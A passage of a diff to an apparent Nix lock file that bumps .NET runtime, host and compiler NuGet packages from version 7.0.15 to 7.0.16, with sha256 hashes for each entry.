"Microsoft.NETCore.App.Runtime.Mono.linux-x64"; version = "7.0.15"; sha256 = "08g46m9ksvi1bjbxfjd59npycwmmbdgkdw0162g97wbzz5bi2gdx"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64"; version = "7.0.15"; sha256 = "0dcpi92xgrqqqmg5ka7wjbibzkvfcfgzis5jpkkfxmw6m3srswxp"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64"; version = "7.0.15"; sha256 = "1hw0djf8svihjl6mwwyj3zcx0rczf159v95w660rzh30xn737ykl"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64"; version = "7.0.15"; sha256 = "05pmq79i085r6g7l2gj96vxr0qr2m1775v2381ng6flmylyyjidq"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86"; version = "7.0.15"; sha256 = "1z2hj01n9r5s9x5vrvlhk7gbk8qp6381cmkksj45yqgn9ghkcid7"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "00pbi47dnqns2xbkl72abfidssphi46vqa4qf8rwij7dvz46ddn2"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "0if8hwxz2ibfmdzkpd8n6ga3zkvnrnd10vwxmj1wbld1c7ngfc0a"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "1pka9lqwb9kg9k72i83p53f87md7mgb8qrcwwcjalk8g36dqygwc"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "084pybg40sp61wirjgw7abrnj5xs7519pd9rjmz5y79gnwmspcas"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "1kwsxqcdyc0ijhzsq1j79qqzb8p9irdjdjvrbghmf5mnfnnxhglr"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "0d529y2ih0jjbw89wpyr32ljmdbpvx5v2cwpv8hxqqwwfm133fxx"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "10sxjj9qfr3m0wjdms1h2bx5hxk9dkdy3fgv1fbp5b21gsk9vh2r"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "19l103ajspna7fdkqnwpprm1q3vdgy0j1v2vqz0kxa3sd1vjs5ag"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm"; version = "7.0.15"; sha256 = "0ndpv3xw74azx9kk9nk0fah97ysn7y006223mczk40cq32vwga3c"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64"; version = "7.0.15"; sha256 = "00ji50aazc4wzwdbvm9yhxw681xpar5nk7f7lbbipxv3mip9lhwc"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64"; version = "7.0.15"; sha256 = "15wgv5x0z2kc1pnkwkflvmj7y6iwds5hb2pjz5gq9z24a5v68310"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm"; version = "7.0.15"; sha256 = "0g3djzyhlnx2qmwlyjvc2raq5r2ysqim0wlkdsxw87gi7lxy5xdi"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64"; version = "7.0.15"; sha256 = "0acrs1msmxdwq9nrmw22660yj39vi4ywlfjdki8i5s3h2h3ah9dz"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-x64"; version = "7.0.15"; sha256 = "047ydlw1348y36xz16sxvbvpc8ifypg9vbak43krshdxqkxdkbba"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-x64"; version = "7.0.15"; sha256 = "1g5pmhknp9a3xai0p40idb2jds2s1kdpcfimcw0n8rc7w55vanqy"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64"; version = "7.0.15"; sha256 = "0dg2z3qph6ldapz6kz94pv9rrfkiqz0ydyy9rzcj93534iv72i4r"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm"; version = "7.0.15"; sha256 = "1zqqcmhbxyxi683l1qm3caj9d41agz564gsqg5ckb8zkpkwipilb"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm"; version = "7.0.15"; sha256 = "14ibzk7snns5d38ky1g5mwbxmf84x4kapyxfmnrz05y7584qxxai"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "0cyw8m44i1yp85k651hwaqnfsc1hxla9wiin8159kjildzf618rg"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "0xbbwrgzs8az1nkzipv50rr3iffs8pcnjcvxwmlmz1nrk3a3jhxi"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "1r5vwnvkqv0xr2l8ypapps4b9qjgb1cw2fy66wrys62affhm06kg"; }) - (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "1ayhr32dym33dqxs8lcg2v2vgx2ka8gc3h734wxzj3rrf4ngjswv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Composite"; version = "7.0.15"; sha256 = "0jjjnva0qb81x8nldq6v2d1166xm5yhvjs19gbvww36y6zlmm5bc"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler"; version = "7.0.15"; sha256 = "0wjlxvpp0pdmfzpn1c7izadwfjqh60s4cdg4fvbdjq70cgxwf83j"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler"; version = "7.0.15"; sha256 = "0mfwfr6fwp5hg33vmrdy0vk80a7xwg65zsqisgw9b8z07wsyj5k5"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.15"; sha256 = "0a56nn3d0vx4vanw0020sifayqrd3jqiyk7s3qdppkf7gxvd1wnm"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.15"; sha256 = "027hn6c8qzr9jxz3q61fqcnhwj7k2mbcr3s20igmawhmjfrfcxvl"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.15"; sha256 = "1swkh2ra7jqkghx5ka43s1s2nli21saypcnzjk9qfwh71np44ayc"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler"; version = "7.0.15"; sha256 = "12skw2zb5v6wfs9za0s1hhcgdfm490zmm032l9wsrwj3flfx50ak"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler"; version = "7.0.15"; sha256 = "04dq9pljyqnd312y071z0bi3gspzrymyiq9paqvaa3xyprzdyxld"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm"; version = "7.0.16"; sha256 = "1jx0lrh2lj8bq9smcz3j04iirpnias10a0i7w8649lcg3xf0s50c"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "7.0.16"; sha256 = "0g4zxka97q3bdc72yql296hx2laim5b4rfb8vxmknzdpzj0ydiks"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"; version = "7.0.16"; sha256 = "12dbai7f9rvb3aidyc58sibkyz3wjjgfn94pzia8jrgysx43xnqn"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"; version = "7.0.16"; sha256 = "0nlfblnfwm8b9dxk1v6vvhx1bjsbxx0xdr8rv7lwnzzjy1jwiif7"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "7.0.16"; sha256 = "0zy1zarikg4d1g06ax3zdjvfysw2393b9fgg7xnracqi17hr38ah"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "7.0.16"; sha256 = "1ggcy57k31bxqk6k1hsbmzxkyly9bzch7dw7fgl2yx4a439nkh54"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm64"; version = "7.0.16"; sha256 = "0hxy9mc5g5504d0x1wx41dacw3sixifxxqlvz5ifrrxrfxv9aswp"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x64"; version = "7.0.16"; sha256 = "0j2fwc3pbxl1k2biwz76hv0vxkvnziw2hj2hnc7rdmyw219l9ad3"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x86"; version = "7.0.16"; sha256 = "18276lifx22vzz13r9l038cc9s3knqyy45jvmzjl2y6j4a1kb70c"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm"; version = "7.0.16"; sha256 = "1q3xkgsx57k6q9rq0jz6jrxffyxm62lh61n3ammz6cdpbdwdx2gz"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "7.0.16"; sha256 = "1nrk00w3jkb1r3m8zn7c05snan02b6s7n5s93aq2dl9kz0bm530c"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"; version = "7.0.16"; sha256 = "02zbv3ilzvv5169v0ihvss6dlls9vl792d7cip9qd2x2b3vv3axp"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "7.0.16"; sha256 = "1wgmbbn81rbqlx44hg9zqrrcmiinss1qhgfsq37vzy2i8ycyn59w"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm"; version = "7.0.16"; sha256 = "1w6r98zlksyls5cxp7dqf0l22lqbypwzhic6zcvynkjrfxv914x4"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "7.0.16"; sha256 = "0wxa2mm34l32324rywns3bphxrkxm265wxck93z030klwvxdalri"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm64"; version = "7.0.16"; sha256 = "1vgfzzgn3vxs0lpj46bymix0ynzqxnkxgl56qsrqhr8myp5r09pj"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-x64"; version = "7.0.16"; sha256 = "07mi30j37418a27ibrq1pk2f8gm9bmbcl94z3hawhp2d4wvm0aya"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "7.0.16"; sha256 = "1xiq43br5lk1xa4d4wzhdpn9lz3mixmyxggzbsf4i4q5692rv35f"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "7.0.16"; sha256 = "1b8w278n8hcxysjs56ghx4pdbfall66nnmk1kx5a0my7lp7yp6xf"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm64"; version = "7.0.16"; sha256 = "0qqfjjka29fi986yjhins55h5zb4xdgdjbjdlv5dm725kp1fllm4"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x64"; version = "7.0.16"; sha256 = "1g7cpyfcmf9q3qnz6isqng3y96b40z4n7gyjbxg557rcjni1776f"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x86"; version = "7.0.16"; sha256 = "1wqby5cfkhz55dgksfzydrs4li4s9xpmpan9ckjb5bp9n2gnl4fa"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm"; version = "7.0.16"; sha256 = "1qs0h8pn0lhwriqrz19mpr17k4wz1baaysydlszqnnbprcx9yilj"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "7.0.16"; sha256 = "1qb3pk1kgvwjc2n4kqfx4bqjmaihjf8cd9cfkqkkwmnnw9jd7f83"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64"; version = "7.0.16"; sha256 = "05jy2w5sdkzlmad919fb8f7pj9jxx5br77jfxfasy407iqsb3hk9"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64"; version = "7.0.16"; sha256 = "1g5cgagfkgwyfd07h4a4c9pgijvnw7w3cx7nlxr3m8zd902s20wy"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "7.0.16"; sha256 = "1w41xwdikkyplxr1kqfn1fwjvbglgsaripgdglhdx9qdxgr3nfi3"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "7.0.16"; sha256 = "0mghc3ihk2j60yyrb57k200ddmhj5impl81lldpxxx9821pb0qha"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm64"; version = "7.0.16"; sha256 = "0rrlnlv549008akl81wb0x22sbhrr8qrpag3w6pwa92fkyi4f20v"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x64"; version = "7.0.16"; sha256 = "0wmx9axb48ackmd51dyi066dxgkjp0zqnx2pa53gl49xdrs0msrd"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x86"; version = "7.0.16"; sha256 = "09s99ni88kh4znq2mljvbnrnmg987i66aibgpvsb3xzwnncmb6hq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "0fsaw2pfzsl3jd8z58s3xs9jrcssnbj0m67fbjcdmircgf8vk8dz"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "0pa22gkjjniw5q4sq7i5jg4p73c2gn439nmac1zncsarbxvjyypr"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "0wv11navikqipxnd2dj500n28jai4gqkqzmkmcci0m886k05pkzg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "1b08nqx5fjlxnsibzqhlah5df03rxq0mwzwplaiq3pga2mj914zi"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "03qdqykh4sx9imimwy8p1g76dyvqp72174mm8498x0707h2g1srz"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "0588ax90h2hsivnx2jpspb8g67n36626rq429scggzcx8xlmsp2p"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "0qdz5nrhvyx7sjnx6mggzm0m72lqy5v33y1l8hgnk2639pcvpr1c"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "1lnw4d54g344aivyz347db01vg7r4cv3cw7nam9jbm8q6pva5wp7"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "19jw2aii4s52qp60ka5p1z7hfwn9qyz53gw1g0bc3cd02q74spg2"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "03nf68xr3cpadvgiyvdwkjmmhfsb527gdccviam4xwizh9ins8i0"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "0ib8hdlz9zfhn0ra2vp3r5kv2n2vrr80krx1qi1wjjd9sn84fnm5"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "06byb9vzpvfb32waspx8b7n4mbz04fsj808y1waxva4wxk31fkcs"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "0yj24v6vp38y74pwzdkyx4j2ib5md7d47h4ic5294sq073c9j8xa"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "1xkgk8yb3zigqgpnr28wwr4pjwxxnfnrf98q6jj7hpxwc8xai8j7"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "1d65bii8g3jd03xjgb5w6dxfxbk8mpqa4gcykpnp3v05sq9g25bn"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "0qxsrcw4781lc4hlqqd09hrnv2f5yhpzv3hg6cym6l1736ka5y7p"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "13aycnw2s32gw3i2nq0a9g1p7gly02516svzz8qmbp6f3cj36x4m"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "021p4xzb6l1b8dsvfwzqpshq82hgmqpccxlpkrs6dkkiwdx977xh"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "1qzkpdq5f206vxh21lm283mbrqr0kkpjz2b0c8hd8f1lvvbwa7qb"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "08djiaa81rakjb4hjl364ia8is76mbhp8lcqw4d4mz7n3d9hh693"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "18nhlvnck66vsn479f36jn1rxhc29r4xxkai6ff0h1advill3a87"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "0d61y424dz9zl2h4irimcvxwv7r2bvdxlnzx6zl44aa18flsi8ci"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "1psm2x071v3i2125dlljh1r3wyznvjlfkwzxv1h3vwl5195fgsr4"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "0bvhikschpxcp9jxiwd7n6shbfadwvp9ndrjd1hxylds5fbar1ca"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "1qpxb4d96j3ch9mwh77d50ifla0j83g2r01g69ad967ghzwyl872"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "07pil5vdaywhxc7qb7dzhmab02bi1ihvzb8dj9qn4a9009skgsgk"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "0jpkh1nssgiq6kwbzcx5mq2wpa146lj3x1fbix5dq9xzq6f8kdyz"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "1cq2qxds3fjcrk5km9zb95362f54cgvmhvnxxx7b5zh0jgi2aqzz"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "1dbqhpgm6137j2i20pmlzyk1ail6r29cfkshnci4hqij0lxcjsf7"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "1gws1vrlr7aj2317sd8vi7867ph9m806cszkxd59qhpvlsa61rk2"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "19gd4x7b21mk8zllr5scrh8d0p6cw1lak2njp7ywskvcafbj1bcw"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "1x82m3ja5jdimldc3nssxb14yz70pkc2sj9zr8vbab51j3lvmfcg"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "091v9nr2mpphnp4cmv1w9mcb86fhz8qg9nki6qh6y6q1rhasz3wl"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "0br0vl3a7fs6fg4897w3w43cw8ck21lch3vxf6jqz7qdjhry5a96"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "0jmzzwyp61s1dkk3apirvg4b7a2dvhfx3vqy1q2azs5hi734q7kr"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "1884ns4iyv7wa0syzxmp0jcmgr7m9x3z2c7bp3pdxxga9hy6gd3a"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "093znlbha6bqimv1v6wxm4s1nbgkzbw2iwx4av0f7sy4ipbhvg8f"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "0234x44hfrxlm3w8j4pbfk83jxpz4b02zfxqy2jvwyiq61qd77l9"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "0mn6wp6gdxgd76wxf07hd4j54iwqfl4mzdijw39aia0ihcaivf8k"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "1bd3k9q7zmw90wrwcza4sm14h1xa4lnlwm66myc2bk5a772i74r3"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm"; version = "7.0.16"; sha256 = "02yfpqaznjkjd4xriiav9d8jxa71bw0wnhxik2522mzahfykrpj5"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "7.0.16"; sha256 = "0ln013191h2rkhm8xss4aqbb52ywp44rjfnn7pip99wdx66bkazs"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm"; version = "7.0.16"; sha256 = "1xbr1pc937gbvrz92ijwbpxbpjifp3dyf5fq30yrhlw9rqy73b4d"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "7.0.16"; sha256 = "0xgd5nj5nx3w3m9cbh3b6r0c2w5svxjkslwqq35w445vjhq435fz"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "7.0.16"; sha256 = "19lnkab2p8nkfc4jag0whkv51v3qabwdyzjk6xgj61i6s8lnnz1f"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm"; version = "7.0.16"; sha256 = "1yccrsv4il1rzfnz1chf1irzyjz7mny95j0dp8r5macw6qyvr55r"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64"; version = "7.0.16"; sha256 = "167kcrzmbhg974smd4ph4pcn9plhpgb4n8rc65i01ap2jyzllgz9"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64"; version = "7.0.16"; sha256 = "1hmwj4d0axhs9nn5anvnmgpa9pj03b13mcfcskn3izcwdz8wp1nz"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64"; version = "7.0.16"; sha256 = "1mxag31556vd31wardb7dj28vy5cabblvhlvwq1jhy6ipcvzwkvl"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64"; version = "7.0.16"; sha256 = "0ba54vjlzmvzwmifw150phidz06vijzxnph50jjv5rs2vzjd2vfz"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64"; version = "7.0.16"; sha256 = "1p5kk30w9rdds765ya6fl4b785maf21xks8favjshkaki5n5rwm7"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64"; version = "7.0.16"; sha256 = "0s4bmbb8rpk20x54iyyzc45fzmmi0j0fw5m8s06vrl756lqwn0av"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86"; version = "7.0.16"; sha256 = "0x7pbzlk2rhnww0ja5x5xz9fqxxx6rdv83cvhnkw5gfvjy3y4gr7"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "0hww2wdvqpjhznl2m8a1hqmhv2gagym63b56ffwkmjqmg6d77n2h"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "1wly691zlazcj5978wv44z6m371fim9ahjgkjkr1ap0bfks5j8py"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "0xdpgibmkcicga80xb7s8msa2l4jhskvg8q7455pj90dlmx7w0k6"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "1n0cp4wykirh9rw66qjdqp06m9qdp76b130ra8rr9ylhiidhwhx6"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "1pjwzk3a7d8i0p1jl190vq7iyyy8wi5zdm76zxxmn032q77ywsgr"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "08h23dfkfmq572lckbqzlxnx1ahy80n8kf0s6s80sm9sv4vcp0ys"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "09snx65nfb865b1nv167lvqjw678zqbhgxgdbfrv78kisg93xn74"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.16"; sha256 = "0qdpmnnpfpnjgfdpbjh4fwzcciqn04d4wbwrz02fh1bcqj4p7q7v"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm"; version = "7.0.16"; sha256 = "0i0cnv001kzx8rw83kaa5lzqv1irm1m41bzkx7i81ng0mkswvh5s"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64"; version = "7.0.16"; sha256 = "1n1mwx3bc0fxb722sc2gkhpcixsgii2c1081vdzcr84vkz048bv5"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64"; version = "7.0.16"; sha256 = "09mkamk7y6nxc7z5pb3c24jyhgnc7mbdbp089hvggr940sgwnwma"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm"; version = "7.0.16"; sha256 = "0kgccsa34pzxalagkj7lxf1d01ikacpbdjwkj3g4qj3nmcjjcv5s"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64"; version = "7.0.16"; sha256 = "0brd887irlf2f8nnpi3crsbxnh3jy7dpljpakv6sjqsfmh21vzvf"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-x64"; version = "7.0.16"; sha256 = "08xbf1r3yxi5p26zbqk67ib7x2fiag82rhsd9bw27y28r0yrgjnz"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-x64"; version = "7.0.16"; sha256 = "0hb8gabxpzggzi9b1yswbcjvd2cp8bln59yrzjb88xv1n7rb7zg8"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64"; version = "7.0.16"; sha256 = "04j5ngl1dy1l70zswl3ph9mwwij5yj99zlbxvnij59pa6vqhnd9w"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm"; version = "7.0.16"; sha256 = "0yc9dfnmvqb5grwv75c5ixz42l4lkqb326pi362k910rhqdg6rgd"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm"; version = "7.0.16"; sha256 = "0zzsfzd5chf6fygsj9mfzaiyxi4ymg6ndr6mgpr5qb1dvkxyzgj9"; }) + (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetAppHost"; version = "7.0.16"; sha256 = "1njsks3g2nc83inpj0jywscy6lv3rbs3zksnrg8pcj3qkx4dydph"; }) + (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHost"; version = "7.0.16"; sha256 = "0kl9wrnf8d8k72wfyk6kg247s41h3ad64a2zw6b3crzyp8g0kyy4"; }) + (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.16"; sha256 = "1phmdcih3a456v8l03hr8mw58vb8zza7f94i2zwf8833azqp64hl"; }) + (fetchNuGet { pname = 